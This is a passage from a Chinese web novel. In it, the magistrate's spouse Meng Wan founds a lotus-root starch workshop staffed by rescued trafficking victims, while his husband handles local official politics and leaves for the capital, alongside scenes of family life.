孟晚弯眼一笑,“我想到了!” “想到什么了?快过来吃饭,大家都等你半天了。”常金花在门口叫他。 孟晚收拾好桌上的东西,重点将宋亭舟的手册放回书架上去,“我净净手,马上就来。” 碧云和陶九早就到了,常金花张罗饭菜的时候他也跟进去帮忙,动作比一旁的黄叶还熟练。 常金花趁着陶九在外面和雪生说话,偷偷问碧云,“你们小两口在县城过日子,过年回去陶家爹娘没给你脸色看吧?” 碧云自然知道常金花是惦记自己,暖的肚子里像是被灌了一大杯姜茶,他手上利索的切着菜,笑着回常金花,“陶家爹娘都老实本分,我们回去他们反而不自在。陶家兄弟又多,除了大哥一家和我公婆住在一起,兄弟们都是各自成家的,并没有人为难我。” 常金花将炒好的菜递给黄叶端出去,“那就好,人家实实在在的对你,你们夫夫俩也要好好孝顺老两口。” “欸。”碧云暖声应下。 常金花又和碧云说了两句,把菜都炒完了也没见孟晚出来,冬季菜出锅就要凉了,她这才过去叫他。 第56章 制粉 “又想到什么了?”常金花在饭桌上随口问了孟晚一句。 孟晚解决了一桩难题,心情愉悦,夹了块糯米排骨到碗里,“现在还只是一个想法,安顿那些无家可归的人。” 碧云掌管一个诺达的糖坊,如今说话姿态自然而然的流淌着威信,“今年糖坊收的甘蔗比去年多上近两倍,熬糖可能要一直持续到明年二月份才能全部熬制好,工人也不大够,本来我想再招聘一批的。这样看可不可以让这些人先去糖坊做工?既能帮帮她们,糖坊也不必再挑工人。” 孟晚赞赏的看着他,“不错,一举两得。” 被孟晚认可想法,碧云肉眼可见的兴奋,但他犹豫了下,还是说道:“可她们若是将糖坊的工序泄露出去又该如何?”好心也要建在不损害自己利益的前提下,碧云已经初具商人的精明了。 孟晚循循善诱的说:“江南一带能百花齐放,靠的可不是私藏手艺。等赫山县成为甘蔗大县,我们一个糖坊是如何都吃不下的。或有其他人看到商机,各种大小糖坊初建,甚至会影响整个西梧府。到时候西梧府糖坊遍地,还怕吸引不来全国上下的糖商吗?那时候才是真真正正的共赢,而不是死守着这么一个糖坊不撒手。” 他语气平平淡淡,仿佛只是在与大家唠家常,但话说完后桌上静默了三秒,只有方锦容吸气的声音较为明显。 “你是真的……真的……”方锦容不知该如何形容。 阿砚把脸从碗里抬起来,左右看看,不知道为什么大家都不说话了,“祖母,阿砚要肉肉,有米的肉肉。” “爹爹帮你夹吧。”孟晚笑了起来,往他碗里夹了块糯米排骨,“记得里面有骨头,要小心哦。” 阿砚啃排骨啃了一嘴的米粒和油花,乖乖的点了点头。 “都想什么呢?快吃饭吧,这么一桌好吃的。”孟晚招呼众人。 饭后孟晚送碧云和陶九出门,冬季天凉,他们也是架着马车来的,碧云上车前对孟晚说:“我知道你的意思了夫郎,糖坊的事你放心吧。” 孟晚既然敢用碧云,就没什么好不放心他的,最后叮嘱了一句,“糖坊的事就全权交给你了,今年年底或者明年年初,定会有更多糖商前来,若有拿不准的再来问我。” 目送陶九驾着马车离开,孟晚回家去找阿砚,宋亭舟不在家,孟晚独自睡觉总觉得屋子里空荡荡的,干脆叫儿子过来陪着。 常金花新做了个布老虎给阿砚,阿砚抱着布老虎爬到床里面去。孟晚拍拍他肉乎乎的小屁屁,“晚上想嘘嘘要叫阿爹,不能尿床上哦?” 阿砚被逗得咯咯笑,也不知知道他说的是什么就胡乱答应了下来。 夜里孟晚被一阵潮意弄醒,闭着眼睛往旁边一摸,摸到的就是阿砚热乎的小身子。 他无奈起身,点了油灯来看,果然见到床里面铺的小垫子已经被尿湿了。阿砚这个小混蛋,自己睡觉的位置尿湿了,又到他身边尿了一次。 等他将阿砚重新换了条裤子抱到小床上睡,又换了床单被罩之后,天已经微微亮起。 孟晚睡意全无,洗漱换衣之后坐在书桌旁将昨晚的计划补齐。 今年已经入冬,种植藕田已经晚了,春季几月种植不知有没有讲究,他还要去实际考察一遍,请教些种过藕田的老农。 说到藕,孟晚第一个想到的就是藕粉,若是风重他们能想到密封办法,还能做成莲藕罐头,加上些许红糖和红豆,口感应该和八宝粥差不多。 但哪怕罐头不能成事,光是藕粉就能养活一个作坊。这种东西制成粉质后更易存放,当下因为赫山糖坊,商队相互贸易,倒也不愁售卖,更何况实在卖不出去还有三叔兜底。 孟晚向来敢想敢做,既然规划好了便立即开始行动。 “娘,今天我要出去一趟。”他先到常金花屋里和她知会了一声,许诺回来的时候会给阿砚买云片糕,这才顺利出了门。 方锦容是个待不住的,葛全不在他便和孟晚一块出去,全当玩耍。 芦溪镇离县城较近,但严格来说芦桥镇的情况更适合种藕田。孟晚没做过藕粉,但觉得应该和土豆淀粉差不多,研究研究应该不难,只是不知道产量和损耗如何。赫山的莲藕从九月到十一月都有采摘的,可能是品种不同,有的晚熟,有的早熟。 刚好这会儿还有卖藕的,他便想到芦桥镇买上几筐晚熟的莲藕先回家试验试验。 芦桥镇今天是集市,街上人来人往。雪生在前面开路,孟晚与方锦容跟在后面。 街上摆摊的摊贩除了常见的布匹吃食外,更多的是当地特产,鱼虾贝类最多。 孟晚目标明确,直奔白嫩的莲藕,方锦容则东看西看的新鲜个不停。 “恩人!”有人对着他们这个方向叫,孟晚一开始没想到有人再叫他们这边,那道声音又响了几次,孟晚才回头看去,是个年纪很小的小哥儿,长相很清秀可爱,正跟着其他人往这边走。 “好像有人叫你。”孟晚戳了戳身边的方锦容。 方锦容扭过身子,“谁啊?”他看了那小哥儿几眼,与那两人越来越近才认出他们来,“是你们啊,草哥儿?” 草哥儿腼腆的笑了,“我还以为恩人不记得我啦。” 方锦容不客气的说:“是差点忘了,你爹和哥哥好些了吗?” 草哥儿跳起来指指东边卖虾的摊子,“我爹已经好的差不多了,但我哥的胳膊已经断了,苗郎中跟我说胳膊断了就长不出来了。”他神情有几分黯淡。 方锦容这些年倒是经历过几次生死,心性豁达,“嗨,那算什么,那种时候总比没了命强吧。” 草哥儿的眼睛弯成月牙,“恩人说的是。”他有些不好意思的搅了搅手指,“我娘说再遇见您想请你们到我家用些便饭的。” 方锦容拒绝人直截了当,“那就不用了,我陪好友来买藕,买完后就要回去了。” 草哥儿这才看向他身后弯腰看藕的孟晚,孟晚似是察觉到他的视线,回身对他微微一笑。草哥儿小脸一红,拉着身边的人转身往回跑,“那我去叫我爹娘。” “那是谁?你还认识小孩?”孟晚买了一筐藕让雪生先送到马车上去,那两个小孩中还有一个腿脚好像有些跛。 “他们就是年初葛全救得那家人,苗姑娘的医术果然了得,伤成那样都能救回来。”方锦容指着逐渐靠近的那家人说。 孟晚依稀对陈家还有些印象,“原来是他家,遇上你们倒也算幸运。” 陈二带着一家老小过来,又是客客气气的邀请方锦容,当时他们走的时候陈二还昏迷不醒,这会儿看到恩人说什么也要磕头下跪,还是雪生将人给拦下了。 “这个小孩的爹当时也没了吧,他现在和你们一起过活?”方锦容指了指陂脚的虎子,随口问了句。 草哥儿娘叹了口气,“虎子家里都死的干净,连爷奶都没了,幸好苗郎中当时也医治了他,都是邻里,总也不好看他小小年纪自己过活,我们就给接过来了。” 陈家算是村里条件最好的,人有心善,难免不忍心。这会儿养个小孩也简单,就是添碗饭的事,长大了家里还能多个劳动力。 他们在集市上说了几句话,孟晚的身份在当地到底还是很有威信的,陈家人见他也在不敢过多打扰,很快便告辞。 方锦容当阿爹了之后还挺喜欢小孩子的,临了还送了草哥儿两块米花糖。 草哥儿不舍得全都吃完,让他娘收起来一块,剩下一块和虎子分着吃。可方锦容在后头看着他们的背影,发现不管草哥儿怎么给他,虎子也没要。只是沉默着,一瘸一拐的跟上草哥儿。 “这一家人品性不错,知恩图报,没有一味的哀怨,邻里间又肯慷慨助人。”孟晚对陈家人印象不错。 方锦容附和的点点头,“他家人确实不错,但你不知道当时他家邻居……” 从芦桥镇买完莲藕回家,将答应好给阿砚买的云片糕给了他,孟晚开始忙活他的藕。 有了上次做土豆淀粉的经历,这次藕粉做的也格外成功,同样是将藕去皮捣碎,加水过滤出藕汁,把藕渣分离出来。 之后让过滤好的藕汁开始沉淀,这个过程比土豆淀粉快,也简易许多,将沉淀好的藕粉取出来晒干即可,下午天气不好,孟晚是用干净无油的铁锅慢慢烘干的。 藕粉晒好,加上红糖用开水搅拌,出来就是红色透明的一碗藕粉。 这东西适合做补品给老人和病人服用,孟晚想先做个小工坊少搞一些,拉去远处宣传着卖,走中高端补品路线。毕竟这种粉类出货量少,太便宜就是卖出去也不赚钱。 常金花倒是挺爱吃,孟晚说可以自家先做一下,拿去常金花的炸鸡店卖,里面除了糖还可以添些其他辅料。 可能是大家日子开始好过,炸鸡店现在的生意越来越好,营收都是常金花自己的,平时盘账也都是她自己管,孟晚并不掺和。 藕粉顺利做成了之后,孟晚便开始着手建藕坊,图纸详细画好,里面要用的器具都要定制。最重要的是他要收购现在市面上所有的藕,来制今年第一批藕粉。 条件有限,第一批藕粉只能先在家做。 十天后宋亭舟带人从府城回来,就见自家前院已经被征用成了临时工坊。院里干活的除了小哥儿就是女娘,乌泱泱的一大堆人。 孟晚头上用灰布包着头,露出精致的五官清晰在外,正在费力的搅拌大缸里的藕泥。 人声嘈杂,连马蹄声都被遮盖住了。 孟晚用来搅拌藕泥的双手被人握住,他猛地一抬头,惊喜的说:“你回来啦!” 他扔了棍子就抱住了宋亭舟,还以为他最早也会半月才能回来呢。 “咳咳……”秦艽在后面适时出声。 孟晚退出宋亭舟怀抱,院里的小哥儿女娘都躲得很远偷偷观察,秦艽一行人低着头当没看见。 “秦世子也回来了?不对啊,你们俩不是一个方向吧,怎么凑到一块去了?”可能是在岭南肆意惯了,大庭广众孟晚就直接抱上去了,反正都是自己人,他也没什么害羞的。 宋亭舟熟练无比的牵上他的手,带他往二进院里走,“在家门口碰到的,年底回京复职他也要去,估计能升个千户回来。” 秦艽摆摆手,“小小千户,不值一提。” 孟晚无语的提醒他,“还没评上千户呢世子,低调一点。” 秦艽从生下来的家世地位就注定不可能低调,他声音中带着些许得意,“本就是板上钉钉的事,等本世子升了官,品阶可是要比宋大人还大两阶。” 孟晚还挺喜欢秦艽性格的,玩笑着对他拱了拱手,“那就提前恭喜世子了。” 秦艽笑的肆意,“好说好说。” 宋亭舟好长时间没同孟晚亲近,不远他一直同旁人说话,腕上用力将孟晚拉到身边,使两人挨得极近,“又在忙什么?” 孟晚同样有一肚子话想对宋亭舟说,让秋色黄叶安顿床铺、热水和饭食,自己同宋亭舟进了屋。 他从衣柜里给宋亭舟拿干净衣物,“县衙地牢里那些哥儿女娘们无辜,又都是世家子弟,历经艰苦,了无牵挂,所以我就想用一用这些人。” 雪生拎来两桶热水,宋亭舟接过来插上门栓,自己兑好了洗澡水在屋里脱了衣裳洗澡。 孟晚搬了个凳子坐在他旁边,一边欣赏美色一边同他说话,“我看过你留在家里的手册,芦溪镇水浅分流多,你想引进江南稻种。芦桥镇河路众多,我觉得种藕不错。” “藕?”宋亭舟用皂荚搓洗身体,感觉整个人都一身轻松。 孟晚托着下巴看他,“和之前我做的土豆淀粉相似,但藕粉做成极易存放,可直接用热水冲服,行远路的时候也方便携带,只是产量不高,卖价要贵些。” “听起来不错,我明日就回衙门为那些流犯办理户籍。”宋亭舟从水中站起身子,孟晚慢一拍捂住眼睛,从指缝中偷看。 第56章 浓香鸡汤 宋亭舟轻笑,“做什么?哪里你没看过。” 孟晚一阵气血上涌,“啊!你快把衣服穿上啊,还是大白天,家里都是外人!” “呵。”宋亭舟难得幼稚的起了逗弄他的心思,身上的水也不擦,披了件长衫就抱住了他,“晚儿不想我?” 孟晚仰头敷衍的蹭了蹭他脸颊,“想想想,怎么不想呢,但是外面都是人,一会儿该叫你出去吃饭了,快好好穿好衣裳。”他声音带着诱哄,实则视线时不时就扫过他腰腹。 宋亭舟低头似有似无的轻触孟晚的唇,没一会儿两人就黏黏腻腻的吻作一团,宋亭舟敞着怀,孟晚贴在他身上某些变化就更加明显了。 细微的水声轻响,孟晚磕磕绊绊的被他带到床边,半跨在他身上被亲的天旋地转脑中一片空白。 “阿爹,饭饭阿爹,祖母饭饭。” 阿砚稚嫩的呼声在门外响起,小手将门板拍的啪啪作响。 孟晚把手撑在两人中间,轻喘着说:“换衣服,出门。” 宋亭舟最后啃了下他殷红的唇瓣,“嗯,你先出去。”他要缓缓。 孟晚理了理衣裳,“好阿砚,别拍了,要不手手都要红了。” 阿砚揉揉小手,见他出来忙跑开去找常金花,“祖母,快饭饭,阿爹来了。” 常金花的声音远远自厨房传来,“阿砚别急啊,祖母的饭才刚刚蒸上。” 孟晚哭笑不得,“好你个阿砚,还敢骗你爹。” 阿砚学会了孟晚的一招,不想听的当没听见,知道饭确实还没好,干脆跑到小院去找楚辞。 “哥哥,饭饭啦!” 过了一会儿宋亭舟换好衣裳出来,孟晚坐在院子的竹倚上剥了个橘子给他,“你到西梧府赴宴后,刘知府怎么说的,都有谁过去赴宴?” 十月橘纯甜,极少又酸口的,宋亭舟几乎一口就能吃上一个,“西梧府辖内所有县令和正六品通判都到场了,只有同知告病没去。” “是通判?”孟晚意外的说。 宋亭舟意味深长的说:“西梧府通判年轻有为,沙坑县胡逖是他堂哥,当下看来是他。” 这这句话可有太多层意思了,孟晚“嘶”了一声,接着问:“然后是个什么说法?” 宋亭舟拧了块潮湿的帕子给孟晚擦手,听不出语气的说:“和我求情,让我看在同为西梧府官僚的份上,手下留情,放胡逖一马。” “啊?”孟晚这次是真的惊了。 此话的意思是把所有责任都推到胡逖身上去了? “陈崇和陈云墨呢?锡矿村又要如何?全都没提?”他一连串的三连问,可见是真的不理解。 宋亭舟用食指指尖抚上他撑开的眼尾,见他急切的样子嘴边挂上一抹笑意,“急什么。” 孟晚握着他的大手放在脸侧,“还不是怕你在他们手底下吃亏。” 其实孟晚担忧的不无道理,宋亭舟在赴宴的路上便已经遭遇过一波暗杀,但有葛全在,并无什么惊险,这次暗杀刚像是一次试探和警告。 赴宴之后,宴席上也不免打着机锋,种种威胁与暗示齐并。 不过这次刘知府的宴席宋亭舟也试探出来许多东西,起码刘知府与手下通判不是一路。刘知府更像是为了明哲保身,不得不攒这个局,而且言语间多以劝诫为主,可见是知道点什么,又不敢捅破。相比之下这个只比自己官高两阶的通判反而十分有底气。 暗杀的事宋亭舟并没有对孟晚说,“吃亏不至于,但毕竟他们官大几阶,想办法整治我还是有机会的。” 孟晚颇为急躁,“那要怎么办?他们明着来拦截你的奏折,我们并无其他途径。” 像宋亭舟这样的知县,需严格遵守公文流程,将奏折通过上级层层上递,无权擅自越过上级直接上奏。若是奏上去除非极特别原因,是要按照逾越之罪重重惩戒的。同时也会引起上级不满,在履历上重重被添上一笔,几乎就无缘高升了。 宋亭舟轻柔他脸颊,笑意温和,“晚儿怕是忙的昏了头,人在我们手里,要急也是他们急,只要我在赫山一天,只管关着他们又如何?” 他虽说赴了个鸿门宴,但那是碍于上官的面子上去的。至于其他的,他不接招,含糊了事,其他人又能奈他如何? 孟晚还是担心会多生事端,“再有一年你来赫山县就满三年了,他们会不会在你的职称和评语上面动手脚?” 刘知府目前是对宋亭舟有淡淡拉拢之意,可宋亭舟没傻到被他言语上拉拢几句就为他肝脑涂地,指哪儿打哪儿。对上司恭敬谦卑是应该的,其他的就算了。 宋亭舟心平气和的说了句,“今年年底之后,他们想动手脚,也不可能了。” 孟晚默默与他对视一眼,突然弯了弯眼睛,“在绝对的实力面前,他们确实不算什么。” 两人目光相触,千言万语都融作眉间一抹会心,气氛温馨,无人能插入半分。 “阿爹阿爹,真饭饭,真饭饭!”阿砚小口喘着气,颠颠的跑过来第二次叫孟晚过去吃饭。 孟晚将胳膊支在膝盖上,“我不信,阿砚刚才就骗了我,我再也不要相信阿砚了。” 阿砚:“!” 他震惊的瞪大了眼睛,万万没想到事态如此严重,圆溜溜的眼睛里瞬间就蓄满了泪水,嘴巴一撇刚要哭出声来就被宋亭舟抱进怀里,顺手就塞了瓣小小的橘子。 阿砚嘴巴下意识蠕动,刚才想哭的事又忘了,“爹,要橘,阿砚还要多多。” 宋亭舟把他扛在肩头上,往堂屋的方向走,“还是吃饭吧,我们去找通儿弟弟一起过来吃饭。” “好吧,但似我的大鸡腿不能给呜呜。” 孟晚跟上去,“你的鸡腿可以自己吃,你葛叔带回来的野鸡更香,我和通儿吃野鸡腿好了。” 阿砚只听描述,口水就浸湿了宋亭舟肩膀的布料,他在宋亭舟怀里往上闯,兴奋的说:“阿砚要,阿砚要野鸡腿!” 孟晚一脸为难,“啊?不好吧,那是通儿爹给他猎的。” 阿砚卑微的说:“阿砚和呜呜换,就换一只,小口小口吃。” 孟晚骗成年人都一骗一个准,拿捏小孩更是手拿把掐,“那好吧,一会儿我帮你问问葛叔行不行。” —— 宋亭舟回来后,孟晚建藕坊的事就更顺利了,因为藕坊的规模不像糖坊那么大,所以不用城外批地建址。宋亭舟将城内的一块空地批给了孟晚,建座藕坊绰绰有余。 至于县衙地牢里关着的荷娘等人,她们就比较麻烦了,按理说她们从前是流犯身份,便是服完苦役也不得离开服役地界。 但陈崇他们与胡逖勾结销了荷娘等人的户籍,她们在名义上已经是死人了,所有营生都不可做。 可如今是在宋亭舟,孟晚虽然有意帮他们一把,让唐妗霜为他所用,但贸然将他们全恢复成良籍恐日后会有后患。 思前想后,宋亭舟干脆让乔主簿将这些人记成匠籍,独数赫山藕坊,同样不能随意离开当地,但算是半个事业编,不被朝廷认可,充作赫山县范围内的手艺人。 这下他们就是不愿意给孟晚打工也得愿意,何况比起之前被逼做暗娼,现在这般已经好上太多了。 被拐卖的那些哥儿女娘里,一半都进了糖坊,剩下一半和唐妗霜荷娘等人在宋家前院做藕粉,只等年底作坊建好了,他们就能搬进去。 孟晚给的工钱不多,毕竟供这些人吃喝,而且藕坊还没开始盈利,头一年他可能是负收状态,等往后真的盈利了,再提高待遇不迟。 他钱给的痛快,工匠们也舍得卖命,赶在年底的时候,藕坊的大部分建筑已经初具规模,只等之后年后再逐渐完善。 看那些哥儿女娘寄人篱下,整日战战兢兢,诚惶诚恐。孟晚让工人们建好的第一间建筑就是宿舍。 藕坊最里面靠墙的地方,建了一长条的房间,间间都是方方正正的。两人一间,里面标配了两张床、两个衣柜和一张小桌,地方不大,但也够住。 “你们若是有想一起住的朋友,就两两站在一起,抽签决定住哪间屋子。”孟晚趁着一日天晴,亲自带唐妗霜六人和被拐卖的十来个哥儿女娘到藕坊来。 “这些房间都是给我们住的?”被拐来的哥儿女娘都是西梧当地的农户,家里穷得都揭不开锅,全家人缩在一间屋子里,哪还有什么独立房间,因此都十分惊喜。 唐妗霜和荷娘等六人就不一样了,他们从小锦衣玉食,有的甚至比孟晚见识还多。过惯了锦衣玉食的生活,也曾在最肮脏的巷子里出卖肉体,这世间的阴暗光明都经历过了,心如磐石,对人的疑心远远超过善意。 “孟夫郎为何这般帮衬我们?请恕我等愚钝,实在不知道我们这些残缺之体还有什么值得利用的价值,还望夫郎解惑。”唐妗霜声线依旧冷清,但通过这段时间的相处,已经对孟晚颇具善意,只是事关今后前程,不免问的直白。 他就是这样说话冷硬的脾气,这么多年的苦难折磨也没能将他磨软半分。 相较之下荷娘就委婉的多,她眼角微垂,目光下沿,“我们知道孟夫郎与知县大人善心相救,之前的恩情已经无以为报了,如今又特意给我们找了这么好的住所,实在良心难安。” 这六人看向孟晚的时候眼光闪烁,明显是不信他。分明之前在宋家做藕粉的时候,挤在厢房睡大通铺他们还踏踏实实,这会儿搬到藕坊,反而怀疑起孟晚的动机来了。 若是换上方锦容那样的娇气少爷,保不齐只接将这些人扔了自生自灭。可孟晚确实想用这些人,如今他如刀俎,其余人都是他的鱼肉、他的苦力,他有什么生气的? 只有大饼画的不够大而已。 孟晚心里算的门清,面上分毫不露声色,反而义正言辞的说:“何必将过往一直挂在嘴上,你们都是大好年华,难道以后做什么事都一腔哀怨?藕坊我是叫你们过来帮我做工不假,可以我当下在赫山的口碑,能到招不来到藕坊做工的人?” 唐妗霜张了张嘴,“我们不是……” 说道这个份上,孟晚面上似乎有些恼怒,他冷声打断唐妗霜的话,“同为哥儿,我只是想指给各位一条明路,若是几位依旧心怀不安,觉得我和陈云墨是一丘之貉,建藕坊是假,用这几间屋子控制你们继续为娼为妓才是真,那大门就在南面,诸位请便。” 唐妗霜等人手足无措,有个年纪小的差点急哭,“我们并不是忘恩负义之辈,只是被骗怕了,受不得别人这样不求回报的对我们好.夫郎说我们是贱皮子也好,打我一顿出气也罢,我是没想走的。” 他这样说,孟晚反而动容几分,认认真真的解释了句,“诸位被困顿在狭隘一处,可能没听说过,我在城外建了一座糖坊,里面同样只有小哥儿和女娘做工。我并不想图谋大家什么,只是想以绵薄之力尽我所能的去改变小哥儿和女娘的待遇,证明我们不只是依附男人生活,自己也能为禹国建设出一份力。这件事可能有千千万万的人不理解,说我异想天开,但我并不希望有一天指责我的,是某一位哥儿,或者女娘。” 偌大的藕坊,二十来号的人,空气中却一片寂静。 唐妗霜口齿微张,眼中似有震撼的微光,抖着腿突然半跪到地上,声音是难以自持的颤抖,“临安府唐氏五代孙,唐妗霜,愿为夫郎献上绵薄之力。” 只要听到他这番话,何人会不为之动容。 士为知己者死,可他们这群人只有浅薄的见识,如何有幸得孟夫郎这样有大智慧之人垂怜? 只有肝脑涂地,方能试图够上孟夫郎的一片衣角。就为了今日孟夫郎的这一番话,哪怕前方是万丈深渊,又有何不敢踏过! 孟晚见到他们眼中重新燃起的希望之火,颇为满意,人有了斗志,才有走下去的希望,他要的是这群人从小到大的知识教养,而不是一具具麻木不仁的躯壳。 不然就像他说的,他找谁不是找,何必非要用他们几个? 第58章 震惊加迷茫 宋亭舟回来后也没能在家多待几天,安顿好衙门的事,很快又启程赶往盛京。 “爹爹不能吃祖母做的好次的。”阿砚托着小脸蛋惆怅的说。 今年的大年夜没有去年热闹,秦艽、宋亭舟年底要和回京述职,葛全和方锦容一家也一同上路,他们要回昌平看望长辈。 宋亭舟是齐盛二十五年的进士,二十六年初到赫山上任,年后便是齐盛二十九年,整满三年。 赫山的政绩就摆在那里:整治地方乡绅,鼓励百姓开荒,种甘制糖,提高整体受益。制造水泥,修路通村,修整水坝,以防水患…… 不论男女还是哥儿都是家庭收入的劳动力,创收的人多了,整座城市自然也就活过来了。 他这一去若无意外,升官是板上钉钉的事。只是孟晚因为要看着藕坊和一家老小,所以没有一同前去。 漫天的爆竹声中,孟晚夹了个香菇猪肉馅的饺子,吃的满嘴鲜香,“你爹这会儿应该也快进京了,等天气渐渐热,他就会回来。” 阿砚似懂非懂,除去刚才那一句惆怅的话,看样子对宋亭舟远行的事接受良好,“那阿砚帮爹爹多次次。”他说完美滋滋的咬了一大口饺子。 常金花慈爱的摸摸他的小脑袋,“慢些吃,叶哥儿还在煮虾肉馅的,阿砚不是更爱吃?” 阿砚忙不迭的点点头,“爱次爱次,那我不吃介个了。” 阿砚小小年纪,胃口也就那么大,他要留着吃自己最爱吃的。 楚辞默默的将自己碗放到阿砚旁边,阿砚偷偷摸摸的看了孟晚和常金花一眼,趁他们没在意,用自己的小勺子将碗里的饺子扒拉到楚辞碗里。 桌上除了各种馅料的饺子还有许多肉菜素菜等,今年家里就他们祖孙四人,吃是吃不完的,黄叶留在厨房煮完最后一锅饺子,常金花叫他们三人也上桌一起吃饭。 年后孟晚要忙藕坊的事,常金花的店铺生意也出奇的好,楚辞再去苗家求学的时候便带上阿砚这个小尾巴同去。 三年过去,苗家最小的白薇也已经七岁了,可惜她天生痴傻,哪怕是五岁,智力与阿砚也无太大区别,因此白日里反倒她与阿砚玩耍最多。 “问君何药补心经,远志山药共麦冬,枣仁当归天竺黄,六味何来大有功。玄参苦,黄连凉,木香贝母泻心强;凉心竹叶犀牛角,朱砂连翘并牛黄……” 黄薇双眼眼距微宽,鼻梁稍低却不显得难看,双眼眼神清澈单纯,口齿伶俐,特别是背书的时候,几乎让人看不出她智力有障碍。 阿砚磕磕绊绊的也跟着她背,“问君何药补……补,不?” 黄薇认认真真的纠正他,“补心经。” “补心经。” 阿砚眼睛盯着晒药的阿寻:他手里是什么呀? 好次的? 阿寻今年十四,认真干活的时候已经有几分小大人的模样,瞥头时见阿砚盯着他簸箕上的木棉花,口水欲滴,以大人的口吻告诫道:“阿砚不能乱吃院子里晒的药哦,有些是有毒性的。” 阿砚目光惊悚,“有毒!” 第二天他说什么都不和楚辞去了,孟晚下乡收藕刚要走,见状干脆将他也带去乡下玩。 “这是东家的公子?看上去十分冰雪可爱。”与孟晚同坐一辆马车的唐妗霜开口说道。自从年前那次之后,唐妗霜等人就开始叫孟晚东家,其余人见状也跟着改了口。 阿砚坐在孟晚怀里打量这个陌生人,让他不想开口都不成。 孟晚在没有阿砚之前也不是个对小孩多有耐心的人,因此十分能理解唐妗霜的不自在,“你不必理他,一会儿就该睡着了,这次带你一起去乡下收藕,等下次可能就要你挑两个人陪同,然后自己来了。” “是,东家。”现在孟晚说的话在唐妗霜耳里比圣旨还好用,知道孟晚有重用他的意思,第一反应不是高兴,而是紧张和恐慌,怕做不好对不起孟晚的期待。 孟晚接着说道:“还有你们亲人的事,抱歉,还是没能从陈崇和陈云墨口中问出什么消息。” 唐妗霜有个姐姐落在他们手中下落不明,闻言不免有些失望,但这种事怎么也怪不到孟晚身上,东家肯记得帮他们找亲人已经令他十分感动了。 “东家不必介怀,总归陈崇他们已经落网,也许她们已经逃出来了也说不定。”唐妗霜只能如此安慰自己。 阿砚已经被摇摇晃晃的马车晃得睡沉,孟晚轻拍他后背,不急不缓的说:“再等两三个月吧,届时可能就问出消息来了。” 那两人现在还在嘴硬,不过是因为心中还有期望有人会救他们出去,等宋亭舟升了官回来,不信他们还认不清局势。 留着他们俩不是因为宋亭舟不敢杀了他们,亦不是怕得罪背后之人,而是想放长线,钓大鱼…… 到了芦桥镇后,藕收的比较顺利,毕竟孟晚在赫山算是名声在外,红山村和红泥村从最穷到如今最富的两个村子,也只用了两年的时间而已。 当地百姓将孟晚当财神爷似的供着,巴不得孟晚光顾自己村子。 孟晚与几位里长说了今年会大量收购莲藕后,他们也只犹豫了一晚,便决定开春带领村民多种藕田。 藕田种好,严格来说六个月都能陆陆续续的有藕收,但孟晚收藕是要制粉用,渡得越粉越好,便决定之后每年十月底开始陆陆续续的收藕。如今的经验不多,往后可能还要依据当时的情况再做调整。 孟晚现在要做的就是趁春季种藕之前,选出出粉量最多的藕种来,用来做种植藕田的藕种。 除了当地藕种外,江南地区的莲藕同样品类众多,孟晚早在年前有种藕田的想法后,便给祝三爷寄出书信,直到年后才收到对方回信。信上说他今年是在京都过的年,要年后再启程来赫山,叫孟晚千万不必着急。 果然,二月中旬,祝三爷带着商队风尘仆仆的赶到赫山县。 “晚哥儿,没耽误你正事吧?” 祝三爷是长辈,在赫山又有固定的宅子住,孟晚一收到他到了的消息,第二天一大早就带着唐妗霜赶了过去,总不好次次让人家登自己这个晚辈的门。 “没有没有,如今还没开始种藕田呢,不急。三叔要的那批糖也都给你备好了,随时都能拉走。”孟晚坐在祝三叔家的厅堂里同他说话。 祝三爷大老远来一趟,糖是最要紧的事,闻言心里终于放心,和孟晚聊了几句家常,“琼娘嘴刁的狠,只要吃昌平的米,我从昌平出来给他们带了不少的米面。” 孟晚想到自家儿子,“阿砚还好些,但他只爱吃我娘做的饭菜,旁人的就差些。” 祝三爷目光柔和,“今天我先歇上一天,明日再去看看阿砚。对了,我在京都见了亭舟。” 孟晚算了算日子,“三叔见他的时候,他应该还没参加朝廷的考核吧?” 祝三爷叫宅子里的下人上了些果子点心给孟晚和唐妗霜,“确实如此,但我听昭远说去年朝堂上对赫山的争议极大……” 他话说到一半若有似无的看了眼唐妗霜,似乎不知道接下来的话方不方便透露。 唐妗霜起身的瞬间被孟晚按下,“三叔,这是我的人,还算可靠。”所以如果是一般的机密说出来也无妨,若是涉及过深就算了。 祝三爷听出他话里的意思,沉吟了片刻说道:“亭舟高升现在几乎是内定的,甚至有可能直接被召回盛京。” “回盛京?”孟晚语气惊讶,他和宋亭舟都没做好回去的准备,按照正常地方官的升迁顺序,宋亭舟这个时候就算回盛京也不会升太快得到重用,因此着实不算是什么好时机。 祝三叔不懂官场,却会看人脸色,“可是有什么不妥?” 孟晚捏了块绿豆糕吃,语气还算平淡,“怎样都好,只等夫君从盛京回来我们再细细商量。” 祝三叔见他不愿多说,便岔开了话题,“你带来的这位小友是?” 唐妗霜虽然是个小哥儿,但能被孟晚带来,可见是有什么过人之处的,祝三爷看在孟晚的面子上态度十分和善。 孟晚向他介绍道:“这是我藕坊的管事唐妗霜,带过来与三叔见见面,若是来日夫君官职真有变化,也好安排好之后和三叔交接的事。” 唐妗霜站起身来对祝三爷欠了欠身,“三爷。” 曾经他最看不起的商户,如今却客客气气的同人说话,并无半点勉强,只有满心期待。 “唐管事请坐。”祝三爷客气的说。 他好奇的问孟晚,“说到你的藕坊,只在信里提到只言片语,这藕粉又是何物?烧水冲服即可?” 亲兄弟明算账,哪怕宋家与祝家亲近,也不能让祝三爷在什么都不知道的情况下就替自己卖藕粉。 孟晚叫唐妗霜将他们带来的小包藕粉拿给祝三爷看,又吩咐下人送来一壶烧的滚烫的开水。唐妗霜将藕粉放进碗里,放上半勺红糖,先加了些凉水将藕粉搅拌均匀,再慢慢添入开水快速搅拌,不一会儿晶莹剔透、浓稠淡红的藕粉就冲好了。 唐妗霜将碗端到祝三爷手边,“三爷试试看。” 祝三爷是亲眼见他是如何冲调藕粉的,见状不免稀奇,“这就熟了?我尝尝。” 见他要伸手过来接,唐妗霜忙将碗放到桌上迅速后退一步,做完这些他才猛然觉得不对,垂眸微瞥孟晚一眼,见他面上并无异色才略微安心。 祝三爷舀了勺藕粉吃,入口既有淡淡的莲藕清香,口感细腻润滑,入口即化。还具有一定的粘性和韧性,吃起来软糯微弹,红糖醇厚的甜味与莲藕自带的清甜交融在一起,回味悠长。 